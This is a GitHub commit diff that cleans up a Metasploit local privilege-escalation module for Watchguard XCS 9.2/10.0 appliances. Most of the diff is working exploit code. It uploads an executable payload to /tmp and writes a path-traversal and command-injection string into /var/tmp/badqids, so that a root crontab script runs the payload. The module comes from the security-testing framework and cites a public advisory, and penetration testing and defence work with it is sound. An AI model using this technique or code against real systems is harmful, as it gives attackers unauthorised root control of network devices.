Skip to content

Commit 6b46316

Browse files
committed
Do watchguard_local_privesc code cleaning
1 parent c796718 commit 6b46316

File tree

1 file changed

+29
-21
lines changed

1 file changed

+29
-21
lines changed

modules/exploits/freebsd/misc/watchguard_local_privesc.rb

Lines changed: 29 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,10 @@
77
require 'msf/core'
88

99
class Metasploit4 < Msf::Exploit::Local
10-
Rank = ExcellentRanking
10+
# It needs 3 minutes wait time
11+
# WfsDelay set to 180, so it should be a Manual exploit,
12+
# to avoid it being included in automations
13+
Rank = ManualRanking
1114

1215
include Msf::Exploit::EXE
1316
include Msf::Post::File
@@ -27,68 +30,73 @@ def initialize(info = {})
2730
'License' => MSF_LICENSE,
2831
'References' =>
2932
[
30-
['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
33+
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
3134
],
3235
'Platform' => 'bsd',
3336
'Arch' => ARCH_X86_64,
34-
'SessionTypes' => [ 'shell' ],
35-
'Privileged' => false,
37+
'SessionTypes' => ['shell'],
38+
'Privileged' => true,
3639
'Targets' =>
3740
[
3841
[ 'Watchguard XCS 9.2/10.0', { }]
3942
],
43+
'DefaultOptions' => { 'WfsDelay' => 180 },
4044
'DefaultTarget' => 0,
4145
'DisclosureDate' => 'Jun 29 2015'
4246
))
4347
end
4448

49+
def setup
50+
@pl = generate_payload_exe
51+
if @pl.nil?
52+
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
53+
end
54+
55+
super
56+
end
57+
4558
def check
4659
#Basic check to see if the device is a Watchguard XCS
4760
res = cmd_exec('uname -a')
48-
return Exploit::CheckCode::Appears if res =~ /[email protected]/
61+
return Exploit::CheckCode::Detected if res && res.include?('[email protected]')
4962

5063
Exploit::CheckCode::Safe
5164
end
5265

5366
def upload_payload
54-
#Generates and uploads the payload to the device
5567
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
56-
@pl = generate_payload_exe
68+
5769
write_file(fname, @pl)
58-
return nil if not file_exist?(fname)
70+
return nil unless file_exist?(fname)
5971
cmd_exec("chmod +x #{fname}")
60-
return fname
72+
73+
fname
6174
end
6275

6376
def exploit
64-
print_status("Rooting can take up to 3 minutes.")
77+
print_warning('Rooting can take up to 3 minutes.')
6578

6679
#Generate and upload the payload
6780
filename = upload_payload
68-
fail_with(Failure::NotFound, "Payload failed to upload") if filename.nil?
81+
fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil?
6982
print_status("Payload #{filename} uploaded.")
7083

7184
#Sets up empty dummy file needed for privesc
7285
dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
7386
cmd_exec("touch #{dummy_filename}")
74-
vprint_status("Added dummy file")
87+
vprint_status('Added dummy file')
7588

7689
#Put the shell injection line into badqids
7790
#setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids"
78-
badqids = write_file("/var/tmp/badqids","../../../../../..#{dummy_filename};#{filename}")
79-
fail_with(Failure::NotFound, "Failed to create badqids file to exploit crontab") if badqids.nil?
80-
print_status("Badqids created, waiting for vulnerable script to be called by crontab...")
91+
badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}")
92+
fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil?
93+
print_status('Badqids created, waiting for vulnerable script to be called by crontab...')
8194
#cmd_exec(setup_privesc)
8295

8396
#Cleanup the files we used
84-
register_file_for_cleanup("/var/tmp/badqids")
97+
register_file_for_cleanup('/var/tmp/badqids')
8598
register_file_for_cleanup(dummy_filename)
8699
register_file_for_cleanup(filename)
87-
88-
#Wait for crontab to run vulnerable script
89-
select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run
90-
print_status("Ran out of time, should have root shell by now.")
91-
92100
end
93101

94102
end

0 commit comments

Comments
 (0)